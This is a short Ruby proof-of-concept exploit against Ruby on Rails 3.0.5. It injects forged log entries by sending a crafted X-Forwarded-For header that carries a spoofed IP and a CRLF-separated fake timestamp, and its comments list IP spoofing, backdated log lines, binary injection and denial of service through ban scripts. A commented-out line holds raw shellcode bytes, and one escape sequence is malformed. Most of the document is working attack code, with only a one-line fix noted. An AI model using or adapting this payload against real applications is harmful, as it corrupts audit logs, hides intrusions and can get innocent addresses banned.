Rails 3.0.5 Log File Injection Proof Of Concept

#Encoding: UTF-8
#
# Log-File-Injection - Ruby on Rails 3.05
# possibilities:
# - possible date back attacks (tried with request-log-analyzer: worked but teaser_check_warnings)
# - ip spoofing
# - binary log-injections
# - DOS if ip is used with an iptables-ban-script
#
# !! works only on intranet apps !!
#
# Fix:
# validate request.remote_ip until they fix it

require 'rubygems'
require 'mechanize'
require 'iconv'

ip = "192.168.1.21 "
# some shell code just for binary-data demo

payload = ip + "at Mon Jan 01 00:00:00 +1000 2009\x0D\0x0A" # date back attacks with ipspoofing
# payload = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" binarypayload is also possible

a = Mechanize.new
a.pre_connect_hooks << lambda { |p| p[:request]['X-Forwarded-For'] = payload }

page = a.get('http://192.168.1.21/people')
